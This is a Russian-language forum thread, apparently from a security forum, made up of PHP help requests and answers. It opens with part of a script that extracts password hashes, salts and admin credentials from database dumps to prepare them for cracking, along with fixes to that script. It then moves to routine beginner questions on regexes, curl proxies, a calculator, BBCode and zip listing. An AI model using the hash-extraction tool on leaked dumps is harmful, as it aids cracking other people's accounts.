echo "[+] $e (".filesize($e)." bytes)\n";
$file = file($e);
foreach($file as $a) {
$tmp = explode(' ',$a); $tablesuf=$tmp[1];
if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; }
foreach (array_unique(array_merge($sort, $admin_comment)) as $s) {
if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; }
}
if(!$y) $vars[]='b'; else unset($y);
if(strstr($a,'PRIMARY KEY')) break;
}
foreach($file as $a) {
if(strstr($a,"INSERT INTO")) {
$tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a);
$values = explode(',',$tmp);
foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); }
foreach($sort as $s) {
if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) {
if($admins==1&&$hashmake==0&&$makefiles==0) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
$admok=1;
} else {
if($s==$v['name']) {
if($s=='salt') $tm[] = checksalt(make($m[$v['num']]));
else $tm[] = make($m[$v['num']]);
}
if($admins==1&&!$admok) {
if(!$tr) $tr[]=$e;
if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]);
elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']]));
foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]);
}
}
}
if($admok==1) break; $admok=2;
}
if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[] = @implode($tr,$delim) .$delim.$delim.@implode($comment,', ');
unset($tr); unset($m); unset($tm); unset($comment);
if($admok==1) break;
}
}
if($makefiles==1) {
if($site==1) {
$host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e);
echo "[:] connecting to $host..\n";
$fp = fsockopen($host,80,&$errno,&$errstr,5);
if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n";
fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n");
while(!feof($fp)) {
$tmp=fgets($fp,1000);
if(preg_match("'charset='i",$tmp)||!$schar) {
$ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp);
if(preg_match("'koi8-r'i",$ch)) $koi=1;
elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1;
}
elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) {
$title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp);
echo "[:] TITLE ok..\n";
}
elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) {
$kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] KEYWORDS ok..\n";
}
elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) {
$descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp);
echo "[:] DESCRIPTION ok..\n";
}
elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break;
}
fclose($fp);
if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); }
if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); }
$info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords='';
}
echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info);
}
unset($vars); unset($file); unset($towrite); unset($admok);
}
}
if($hashmake==1) { echo " sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}
if($admins==1) { echo " sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}
myau();
?>
__________________
что за скрипт? ПЕРЛ или ПХП
а по тегам не видно?)) пхп конечно)
а что за скрипт написано в коментах:
Скрипт предназначен для частного использования и позволяет
привести имеющиеся дампы баз данных в единый удобный формат для
дальнейшего анализа в программе Passwords Pro, либо просто
в списки для других программ.
Там в скрипте просто пробелы в переменных стояли, вот и ошибки выдавал.
А можешь их убрать? Если конечно тебе не трудно.
А то я в кодинге неселён.
Спасибо! :D
а что за скрипт написано в коментах:
Этот скрипт я взял здесь же в этом разделе.
Полезные скрипты (http://forum.antichat.ru/threadnav26391-7-10.html)
.:EnoT:.
23.03.2008, 22:43
Сообщение от bbg2
А можешь их убрать? Если конечно тебе не трудно.
а по твоему я скрипт для красоты твой в своём посте выложил?)
а по твоему я скрипт для красоты твой в своём посте выложил?)
Ну конечно я попробывал твои изменения и вот что теперь выскакивает.
Warning: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 73
Warning: fopen(attachment_watermark.php.txt) [function.fopen]: failed to open stream: Permission denied in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 85
[+] attachment_watermark.php (14452 bytes) [!] Can't get table values from attachment_watermark.php =[ [:] connecting to attachment_watermark.php..
Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 136
Warning: fsockopen() [function.fsockopen]: unable to connect to attachment_watermark.php:80 (Unknown error) in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 136
[:] Error connecting attachment_watermark.php (192286958 - )
Warning: fputs(): supplied argument is not a valid stream resource in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 138
Warning: feof(): supplied argument is not a valid stream resource in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 139
Warning: fgets(): supplied argument is not a valid stream resource in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 140
[B]Warning: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 73
Выскакивает из за того что на серве где ты етот скрипт запускаеш установлен безопасный режим
замени :"set_time_limit(0); "на "//set_time_limit(0);"
Warning: fopen(attachment_watermark.php.txt) [function.fopen]: failed to open stream: Permission denied in /mounted-storage/home59b/sub009/sc37906-IDWC/www/new 2.php on line 85
нехватает прав на чтение файла
Sleep, мда....тем что он закоментирует функцию, скрипту лучше не станет, он работать не будет вообще после 30 секунд его работы =\
Red_Red1
24.03.2008, 14:03
Но в результате на выходе получаем все элементы массива, без удаления повторов...
Так ведь ты же не береш значение функции array_unique.... вот почитай
http://php.su/functions/?f=array_unique&choice=info
Функция ВОЗВРАЩАЕТ массив
т.е. тебе нужно примерно так
$res=array_unique($zap);
foreach ($res as $fin)
{
echo $fin."<br>\r\n";
}
holod1985
24.03.2008, 16:17
ребят этот форум на каком движке? где его можно скачать?
http://forum.totaldvd.ru/
ребят этот форум на каком движке? где его можно скачать?
http://forum.totaldvd.ru/
А гугл для кого? :
http://www.aspplayground.net/
[офф] как сюда вставить пхп скрипт,чтоб не в 1 строчку?
копипаст в textarea, ctrl+a, кнопочка php
копипаст в textarea, ctrl+a, кнопочка php
так и делаю,получается в строчку.
тэгом напишите плз
Вопрос по выводу переменной из цикла... Вот к примеру скрипт...
if(isset($_GET['sub']))
{
echo "<br>";
$zap=$_GET['str'];
$zap=explode("\r\n",$zap);
$res=array_unique($zap);
$nach=count($zap);
$kon=count($res);
$del=$nach-$kon;
foreach ($res as $fin)
{
echo $fin."<br>\r\n";
}
}
Вопрос.. Как сделать что бы можно было вывести значение $del за пределами цикла if.. Использовать $del как глобальную переменную, если да то как?
так и делаю,получается в строчку.
тэгом напишите плз
postav' radio button "Расширенный режим"
Sorri za translit
Zircool if не влияет на область видимости.
Zircool if не влияет на область видимости.
Ну вопервых IF - это не цикл :D
Просто вынеси код в цикле вместе с циклом, т.е
if(isset($_GET['sub']))
{
echo "<br>";
$zap=$_GET['str'];
$zap=explode("\r\n",$zap);
$res=array_unique($zap);
$nach=count($zap);
$kon=count($res);
$del=$nach-$kon;
}
foreach ($res as $fin)
{
echo $fin."<br>\r\n";
}
Зачем там $nach, $kon и $del?
Короче вот скрипт,я его пихнул в php файл он ругаеться пишет:
Parse error: syntax error, unexpected $end in D:\VertrigoServ\www\index.php on line 94
Вот php файл...поправте плз (http://slil.ru/25616071)
tick
там где-то фигурная скобка незакрыта. поставь в скрипте ентеры а т так нефига невидно.
Вот php файл...поправь плз (http://slil.ru/25616071)
tick, посчитай количество парных фигурных скобок. У тебя несовпадение на две штуки.
{ - 8
} - 6
tick, посчитай количество парных фигурных скобок. У тебя несовпадение на две штуки.
{ - 8
} - 6
спасиб :) лови +
Теперь чет скрипт не хочет правильно пахать...указываю адрес...он только запускает...а не редоктирует и нехера пишет "Файла http://site/lol.php не существует!!!" :(
спасиб :) лови +
Теперь чет скрипт не хочет правильно пахать...указываю адрес...он только запускает...а не редоктирует и нехера пишет "Файла http://site/lol.php не существует!!!" :(
а может его не существует?
проверь путь
а может его не существует?
проверь путь
Всё существует!!! mb в коде косяк?
http://slil.ru/25619433 - вот файл...
Вроди все верно. Имя файла правильно указываешь ? (Оно должно быть локальным, а не http://чтото )
Вроди все верно. Имя файла правильно указываешь ? (Оно должно быть локальным, а не http://чтото )
Всм? Я пишу "lol.php" он только проматривает файл а редоктировать и т.д не хочет вообще нечего не показывает...и не пишет...
.:EnoT:.
26.03.2008, 10:54
Ну во-первых форма у тебя отправляет данные на editor.php .Во-вторых код очень не читабельный...код вообще какой-то странный. Например читать файл у тебя отказывается по той причине что чтение файла у тебя находится внутри условия удаления файла (строчка 34), имхо..т.к. времени щас нет разбираться с твоим кодом))....и вообще советовал бы тебе ставить везде фигурные скобки. Сделал более менее читабельным код ==> http://slil.ru/25619759
у меня вопрос по регулярным выражениям...какого вида будет строка что бы находила в коде выражения вида:
|admin|1bf3fa39c103bdcb4ad3141b3e7ca4a2|
т.е
|буквы и цифры|цифры от 0 до 9 и буквы от a до f |
Таким будет выражение? '#\\|"(\S+)"\\|"(\S+)"\\|#'
<?php
$s="|admin|1bf3fa39c103bdcb4ad3141b3e7ca4a2|";
preg_match("#(\|\w*\|\w{32}\|)#",$s,$p);
echo $p[1];
?>
это так навскидку
Как я понял, вторая часть - это md5?
Тогда точнее так:
<?php
$s="|admin|1bf3fa39c103bdcb4ad3141b3e7ca4a2|";
print preg_match("/^\|([a-zA-Z0-9]+)\|([a-f0-9]{32,32})\|$/",$s,$p); //это чтобы сравнить строку на точное совпадение с шаблоном
print '<br>'.$p[1].' '.$p[2].'<br>';
preg_match_all("/\|([a-zA-Z0-9]+)\|([a-f0-9]{32,32})\|/",$s,$p); //это чтобы найти в строке все такие подходящие по шаблону подстроки
print_r($p);
?>
А у кого нибудь есть примеры скрипта, написаного с функцией работы через proxy?
Zircool,
<?php
$proxy = '127.0.0.1';
$port = '12444';
$ct = curl_init();
curl_setopt($ct, CURLOPT_URL, 'http://x3k.ru');
curl_setopt($ct, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ct, CURLOPT_HEADER, 1);
curl_setopt($ct, CURLOPT_REFERER, 'http://www.xeka.ru');
curl_setopt($ct, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0');
curl_setopt($ct, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ct, CURLOPT_PROXY, $proxy.':'.$port);
$cont = curl_exec($ct);
curl_close($ct);
echo $cont;
?>
здравтсвуйте, подскажите как удалить в сграбленной странице рандомные рекламные ссылки в начале?
здравтсвуйте, подскажите как удалить в сграбленной странице рандомные рекламные ссылки в начале?
пример страницы
У рекламы есть какой-нибудь ID свой...
так вот
<?php
if(preg_match("#<div id='adv'>(.*)</div>#is", $source, $xek))
{
$source = str_replace($xek['1'], '', $source);
}
?>
Вот пишу калькулятор на Php.
<form action="0.php" method="post">
Первое число<input type="text" name="1"><BR>
Второе число<input type="text" name="2"><BR>
<input type="submit" value="Посчитать">
</form>
<?php
$num1= $_POST['1'];
$num2= $_POST['2'];
//ТУТ ВОЗНИК ВОПРОС: Как позволить юзеру выбирать знак. Там плюс минус умножить и делить. ????
?>
ТОЛЬКО НЕ НАДО ГОВОРИТЬ: мол скрипт косой, зачем эти переменные. Я только начал учить PHP. Отвечать по теме.
<form method="POST" action="--WEBBOT-SELF--">
<!--webbot bot="SaveResults" U-File="fpweb:///_private/form_results.csv" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
<p><select size="1" name="D1">
<option value="+" selected>+</option>
<option value="-">-</option>
<option value="/">/</option>
<option value="*">*</option>
</select><input type="submit" value="Отправить" name="B1"></p>
</form>
ну типа того и т.д.. а значения можешь сам подставить в value="-" естественно.
А если полностью, попроще, без особых проверок, то
<form action="0.php" method="post">
Первое число<input type="text" name="1"><BR>
Второе число<input type="text" name="2"><BR>
Действие: <select name='3'><option value='1'>+</option><option value='2'>-</option>
<option value='3'>*</option><option value='4'>/</option></select>
<input type="submit" value="Посчитать">
</form>
<?php
$num1=isset($_POST['1']) ? $_POST['1'] : 0;
$num2=isset($_POST['2']) ? $_POST['2'] : 0;
$znak=isset($_POST['3']) ? $_POST['3'] : 0;
switch($znak)
{
case '1':
$res=$num1+$num2;
break;
case '2':
$res=$num1-$num2;
break;
case '3':
$res=$num1*$num2;
break;
case '4':
if($num2==0) die("На ноль нельзя делить");
$res=$num1/$num2;
break;
default:
die("Выберите действие");
}
print str_replace(' ','.',$res); //чтобы числа с дробной частью нормально выводились
?>
De-visible
27.03.2008, 19:38
_http://osu.cctpu.edu.ru/edu/web/extra/jscalc.html - калькулятор на javascript(Вдруг понадобится)
=====================Просторы интернет:)=============
_http://hostweb.narod.ru/php/6.htm - вот на php
_http://nextaz.com/showarticle.php?id=1109407131
_http://www.compgazeta.ru/articles/2006/46/kg64617.html - вот perl
Привет! Я вот пишу класс BBcode и столкнулся с проблемой...
как наделить регулярные выражения логикой? =(
например есть строка
blabla [ B ]TEST[ /B ] blablabla [ B ]Test2[ /B ]
и
blablb [ B ]test [ B ]test[ /B ] test[ /B ]
И так если написать [ B ](.*?)[ /B ] - В первой строке будет нормально
но во второй не подойдёт .. он возьмёт первый попавшейся [ /B ]
А если сделать [ B ](.*)[ /B ] в первом он возьмёт самый последний [ /B ]
но ко второму подойдёт .. Подскажите плз как быть
Берёт 1й попавшийся:
$text=preg_replace("#\(.+?)\[/b\]#is","<b>\\1</b>",$text);
Берёт последний из всех:
$text=preg_replace("#\(.+?)\[/b\]#isU","<b>\\1</b>",$text);
Я не совсем понял вопрос, на что конкретно должна заменяться строка вроде этой:
[ b ]456[ b ]789[ /b ] abc[ /b ]
Если просто заменять bb-теги [ b ]...text...[ /b ] на соответственно <b>...text...</b>, в том числе вложенные, то возможен такой вариант
$text="blablb [b]test [b]test test sdfsdfsd sdfsdf";
$text_old='';
while($text_old!==$text)
{
$text_old=$text;
$text=preg_replace("#\[b\](.+?)\[/b\]#is","<b>\\1</b>",$text);
}
print $text;
Отредактировал свой предыдущий пост, последний вариант должен подойти. Хотя, возможно, есть и проще.
lsass.exe
27.03.2008, 22:22
Помогите плз )
переменной $data присвойте значение "Параметр regs является не обязательным. Он представляет собой массив, в который будут занесены результаты поиска.". Используя функции обработки регулярных выражений, выведите в окне обозревателя все слова, начинающиеся с прописной буквы.
1)
<?php
$data = "Отлииично! Это последний php-сценарий!";
preg_match('/\W((\\w*и){3}?\\w*)\W/', " ".$data." ", $a);
echo $a[1];
?>
lsass.exe
27.03.2008, 22:48
1)
<?php
$data = "Отлииично! Это последний php-сценарий!";
preg_match('/\W((\\w*и){3}?\\w*)\W/', " ".$data." ", $a);
echo $a[1];
?>
выводит буквы ИИИИ, а нужно слово в котором они есть
выводит буквы ИИИИ, а нужно слово в котором они есть
Странно... у меня выводит
Отлииично
...
lsass.exe
27.03.2008, 23:01
Странно... у меня выводит
...
затестил на другой версии пхп сработало. спс
Опять вопрос.
вот написал скрипт из обычного вида в md5
<form action="1.php" method="post">
<input type="text" name="x">
</form>
<?PHP
$Password= $_POST['x'];
$Password= md5($Password);
echo $Password
?>
Теперь интересно, как бы сделать наоборот. Вводишь md5 а получаешь обычный. БЕЗ НАВОРОТОВ И ПРОВЕРОК.
<?
while(1){ echo 'lol'; }
?>
lsass.exe
27.03.2008, 23:20
Опять вопрос.
вот написал скрипт из обычного вида в md5
<form action="1.php" method="post">
<input type="text" name="x">
</form>
<?PHP
$Password= $_POST['x'];
$Password= md5($Password);
echo $Password
?>
Теперь интересно, как бы сделать наоборот. Вводишь md5 а получаешь обычный. БЕЗ НАВОРОТОВ И ПРОВЕРОК.
никак, md5 это необратимое шифрование.
Почитай тут http://ru.wikipedia.org/wiki/MD5
lsass.exe
27.03.2008, 23:38
Осталось вот это задание, может кто знает?
$data присвойте значение "Параметр regs является не обязательным. Он представляет собой массив, в который будут занесены результаты поиска.". Используя функции обработки регулярных выражений, выведите в окне обозревателя все слова, начинающиеся с прописной буквы.
preg_match_all
регулярка - ~[диапазон хекс значений прописных букв]\w*~
Скажите пожалуйста, как мне все элементы строки в массив поместить? Чтобы каждая буква была отдельно.
Скажите пожалуйста, как мне все элементы строки в массив поместить? Чтобы каждая буква была отдельно.
$array = explode('', $string);
$array = explode('', $string);
Я так и пробывал, а он ругается -
Warning: explode() [function.explode]: Empty delimiter. in /blablabla/bla.php on line 11
Spaise, str_split($string)
Осталось вот это задание, может кто знает?
$data присвойте значение "Параметр regs является не обязательным. Он представляет собой массив, в который будут занесены результаты поиска.". Используя функции обработки регулярных выражений, выведите в окне обозревателя все слова, начинающиеся с прописной буквы.
вообще
$data = "Параметр regs является не обязательным. Он представляет собой массив, в который будут занесены результаты поиска.";
preg_match_all('/\\W(\\u\\w+)\\W/', " ".$data." ", $a);
for ($i=0; $i<count($a[1]); $i++) echo $a[1][$i]."<br>";
Должен работать, но у меня выдаёт какой-то странный warning И не работает...
Spaise, str_split($string)
Fatal error: Call to undefined function: str_split() in /blablabla/bla.php on line 11
Может такое быть, что из-за php проблемма?
Fatal error: Call to undefined function: str_split() in /blablabla/bla.php on line 11
Может такое быть, что из-за php проблемма?
Значит версия пхп хреновая, короче тогда мою функцию юзай.
function str_split($string) {
$array = array();
for($i=0;$i<strlen($string);$i++)
{
$array[] = $string{$i};
}
return $array;
}
$string = 'test';
$array = str_split($string);
str_split($string) в 5 php появилась
код поменьше
$string = 'test';
$rezult = wordwrap($d, 1, ":+:",1);
$array = split("[:+:]+",$rezult);
как понять подобную конструкцию??
$this->_smarty->assign($spec);
http://framework.zend.com/manual/ru/zend.view.scripts.html
anakreon
28.03.2008, 12:24
Здравствуйте уважаемые. Есть база Oracle. В ней есть 2 таблицы
в первой таблице находятся столбцы ID и SNAME
во второй находятся FIN, DEAL и т.д.
такого плана:
1-я таблица
| ID | SNAME |
| 173 | Intel |
| 432 | AMD |
| 324 | core2duo|
| 321 | phenom |
| .......| ...............|
| .......| ...............|
| .......| ...............|
| 532 | centrino |
2-я таблица
| FIN | DEAL |
| 200 | 302.432 |
| 127 | 7324.21 |
|173 | 212.454 |
| 432 | 4342.21 |
| .........| ..............|
| .........| ..............|
| .........| ..............|
| 321 | 32432.2 |
Смысл этих 2-х таблиц состоит в том что должна выводиться 2-я таблица и вместо FIN подставлять SNAME из таблицы 1
т.е. должно получаться в итоге
| наименование | цена |
| intel | 212.454 |
| AMD | 4342.21 |
| phenom | 32432.2 |
|...............| ......................|
|...............| ......................|
|...............| ......................|
Собственно вопрос как сделать это сопоставления
На данный момент код такой
<HTML>
<BODY>
<?php
$c = OCILogon ( );
if ( ! $c ) {
echo "not connected: " . var_dump ( OCIError () );
die();
}
$x = OCIParse ( $c , "select * from fin" );
OCIExecute ( $x , OCI_DEFAULT );
while ($row1 = oci_fetch_array ($x, OCI_ASSOC)) {
echo "<td>", $row1['ID'], " ", "</td>";
echo "<td>", $row1['SNAME'], "</td><BR>";
}
echo "<table border=1>";
echo "<tr><th>FIN</th><th>L_PRICE</th><th>BEST_BUY</th><th>DEAL_MIN</th><th>DEAL_MAX</th></tr>";
$s = OCIParse ( $c , "select * from inf_ac" );
OCIExecute ( $s , OCI_DEFAULT );
echo "<tr>";
while ($row = oci_fetch_array ($s, OCI_ASSOC)) {
echo "<td>", $row['FIN'], "</td>";
echo "<td>", $row['L_PRICE'], "</td>";
echo "<td>", $row['BEST_BUY'], "</td>";
echo "<td>", $row['DEAL_MIN'], "</td>";
echo "<td>", $row['DEAL_MAX'], "</td>";
echo "</tr>";
}
echo "</table>";
OCICommit ( $c );
?>
</BODY>
</HTML>
А в оракле возможно сделать так?
select t1.sname, t2.deal from table1 t1
left join table2 t2 on t1.id = t2.fin
как сделать что бы $models["1"] выводился через запятую(1,2,3,4)
while ($models = mysql_fetch_array($model))
{
echo $models["1"];
}
nc.STRIEM
28.03.2008, 13:56
как сделать что бы $models["1"] выводился через запятую(1,2,3,4)
while ($models = mysql_fetch_array($model))
{
echo $models["1"];
}
while ($models = mysql_fetch_array($model))
echo $models[1].',';
anakreon
28.03.2008, 13:56
Не проходит... Пустоту выводит
while ($models = mysql_fetch_array($model))
echo $models[1].',';
специально написал в скобках (1,2,3,4,5) в предложеном варианте выводит (1,2,3,4,5,)
nc.STRIEM
28.03.2008, 14:28
$a='(';
while ($models = mysql_fetch_array($model))
$a.=$models[1].',';
$a.=')';
$a = str_replace(',)', ')', $a);
или
$a='';
while ($models = mysql_fetch_array($model))
$a.=$models[1].',';
unset($a[strlen($a)-1]);
так не проше?
$str="";
while ($models = mysql_fetch_array($model))
$str = $str . $models[1].',';
$result = substr($str,0,strlen($str)-1);
Привет всем, я в php полный нуб!!только сегодня начал учить))
читать книги было влом, и потому я на чал искать движки форумов и разбирать их, понял я многое, что не понимал - гуглил.
когда я чуток врубился, написал себе скрипт, который смотрит в онлайне ли моя аси и меняет иконку, там возле названия сайта(_http://creeptor.org(это не реклама))
и вот мне стало интересно сколько людей сидят в icq в даный момент, и я написал скрипт, который должен сам всё подсчитывать.
но скрипт нормально не работает((
если нужно проверить 10 или 50 номеров, работает на ура!! а если больше, то он тупит(( хотя set_time_limit(0); может у меня хост тупой?? если нужно могу выложить скрипт(_http://creeptor.org/chek2.php)
P.S. прошу не судить строго я только сегодня начал его учить
============
я понял, проблема не в set_time_limit(0), а в чем-то другом, так как я свой первый чекер влючил(_http://creeptor.org/chek.php) т он нормально работает... но у него другое предназнаечение
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.1//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml11.dtd'>
<html><head>
<title>Creeptor</title>
<link rel='stylesheet' type='text/css' href='/css/index.css' />
</head>
<body>
<?php
$a=0;
$s=0;
$d=0;
$k=0;
$q=0;
set_time_limit(0);
for($i=900000;$i<=900050;$i++){
$f=imagecolorat(imagecreatefromgif("http://status.icq.com/online.gif?icq=$i&img=27"), 5, 7);
$q=$q+1;
if($f==52){$a=($a+1);}else{if($f==82){$s=($s+1);}e lse{if($f==48){$d=($d+1);}else{$k=($k+1);echo "$k ERRORE - $i - $f<br>";}}}}
echo "<h1>Проверено: $q<br />В онлайне: $a<br />В офлайне: $s<br />Неизвесно: $d<br />Ошибок: $k</h1></body></html>";
?>
я что-то совсем не могу врубится, что это шняга делает(не достаточно владею JS), но разве это не раздел для php??
у тя скрипт каким образом глючит? кстате существует конструкция elseif или switch case
<?php
include_once"../template/pclzip.php";
$dir=check($dir); //папка
$arch=check($arch); //архив
$open=check($open);
echo '<div class=v><b>Просмотр архива</b></div>';
if($dir!="" && $arch!=""){
if (!$action){
$zip=new PclZip("$dir/$arch");
if (($list = $zip->listContent()) != 0){
for ($i=0; $i<sizeof($list); $i++){
for(reset($list[$i]);
$key = key($list[$i]);
next($list[$i])) {
$zfilesize = strstr($listcontent,"--size");
$zfilesize = ereg_replace("--size:","",$zfilesize);
$zfilesize =@ereg_replace("$zfilesize","$zfilesize|",$zfilesize);
$sizelist .="$zfilesize";
$listcontent = "[$i]--$key:".$list[$i][$key]."";
$zfile = strstr($listcontent,"--filename");
$zfile =ereg_replace("--filename:","",$zfile);
$zfile =@ereg_replace("$zfile","$zfile|",$zfile);
$savelist .="$zfile";
}}
$sizefiles2 = explode("|",$sizelist);
$sizelist2=array_sum($sizefiles2);
$obkb=round($sizelist2/1024,2);
$preview = explode("|",$savelist);
$count = count($preview)-1;
echo '<div class=pay><img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>';
echo '<img src="../img/o.gif" alt="">Всего файлов: '.$count.'<br><img src="../img/go.gif" alt="">Вес архива: '.$obkb.' кб</div>';
if (empty($_GET['start'])) $start = 0;
else $start = $_GET['start'];
if ($count < $start + $config_ziplist){ $end = $count; }
else {$end = $start + $config_ziplist; }
for ($i = $start; $i < $end; $i++){
$sizefiles = explode("|",$sizelist); //вырезаем элементы из массива с размерами файлов
$selectfile = explode("|",$savelist);
$path = $selectfile[$i];
$fname = ereg_replace(".*[\\/]","",$path);
$zdir = ereg_replace("[\\/]?[^\\/]*$","",$path);
$path = str_replace("/","*",$path);
$ext=strtolower(strrchr($fname, "."));
switch($ext){
case 'dir': $ico='dir.gif'; break;
case '.jpg': case '.jpeg': $ico='jpg.gif'; break;
case '.gif': $ico='gif.gif'; break;
case '.mid': $ico='mid.gif'; break;
case '.mp3': $ico='mp3.gif'; break;
case '.wav': case '.amr': $ico='wav.gif'; break;
case '.mmf': $ico='mmf.gif'; break;
case '.jad': $ico='jad.gif'; break;
case '.jar': $ico='jar.gif'; break;
case '.zip': $ico='zip.gif'; break;
case '.txt': $ico='txt.gif'; break;
case '.exe': $ico='exe.gif'; break;
case '.htm': $ico='htm.gif'; break;
case '.html': $ico='htm.gif'; break;
case '.php': $ico='php.gif'; break;
default: $ico='file.gif'; break; }
if(!$fname){
echo '<img src="../images/icons/dir.gif" alt=""> <b>Директория '.$zdir.'</b><br>';
}else{
echo '<img src="../images/icons/'.$ico.'" alt=""> <a href="zip.php?action=preview&dir='.$dir.'&arch='.$arch.' &open='.$path.'&start='.$start.'&'.SID.'">'.$zdir.'/'.$fname.'</a>';
echo ' ('.formatsize($sizefiles[$i]).')<br>';
}}
echo '<div class=pay>';
if ($start != 0) {echo '<img src="../img/go.gif" alt=""><a href="zip.php?start='.($start - $config_ziplist).'&dir='.$dir.'&arch='.$arch.'&'.S ID.'">Назад</a>';}else{echo'<img src="../img/go.gif" alt="">Назад';}
echo ' | ';
if ($count > $start + $config_ziplist) {echo ' <a href="zip.php?start='.($start + $config_ziplist).'&dir='.$dir.'&arch='.$arch.'&'.S ID.'">Далее</a><img src="../img/g.gif" alt="">';}else{echo'Далее<img src="../img/g.gif" alt="">';}
$total=$count;
if($total>0){
$ba=ceil($total/$config_ziplist);
$ba2=$ba*$config_ziplist-$config_ziplist;
echo '<br>';
echo '<img src="../img/g.gif" alt="">Страницы:';
$asd=$start-($config_ziplist*3);
$asd2=$start+($config_ziplist*4);
if($asd<$total && $asd>0){echo ' <a href="zip.php?start=0&dir='.$dir.'&arch='.$arch.'&'.SID. '">1</a> ... ';}
for($i=$asd; $i<$asd2;)
{
if($i<$total && $i>=0){
$ii=floor(1+$i/$config_ziplist);
if ($start==$i) {
echo ' <b>'.$ii.'</b>';
} else {
echo ' <a href="zip.php?start='.$i.'&dir='.$dir.'&arch='.$arch.'&' .SID.'">'.$ii.'</a> ';
}}
$i=$i+$config_ziplist;
}
if($asd2<$total){echo ' ... <a href="zip.php?start='.$ba2.'&dir='.$dir.'&arch='.$arch.' &'.SID.'">'.$ba.'</a>';}
}
}else{
echo '<br><b>Невозможно открыть архив!</b><br>';
echo 'Ошибка: '.$zip->errorInfo(true);
}
echo'<br><div class=pay><img src="../img/go.gif" alt=""><a href="down.php?action=ob&did='.$dir.'&fid='.$arch.'&'.SI D.'">Вернуться</a></div>';
}
//////////////////////////////////action preview////////////////////////////////
if($action=="preview"){
$open = str_replace("*","/",$open);
$zip=new PclZip("$dir/$arch");
$content = $zip->extract(PCLZIP_OPT_BY_NAME, $open,PCLZIP_OPT_EXTRACT_AS_STRING);
$content = $content[0]['content'];
$letters=array("а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я");
for ( $b=0; $b<66; $b++) {if(strstr($content,$letters[$b])!== false){$utf="ok";}}
$preview2 = explode("\r\n",$content);
$count = count($preview2);
/* function highlight_code($code) {
$code=trim($code);
return highlight_string($code,true);} */
echo '<img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>';
echo '<img src="../images/img/files.gif" alt=""> <b>'.$open.'</b><br>';
echo 'Всего строчек: '.(int)$count.'<br><hr>';
if($utf=="ok"){echo highlight_code($content);}else{echo highlight_code(win_to_utf($content));}
echo'<div class=pay><img src="../img/go.gif" alt="">';
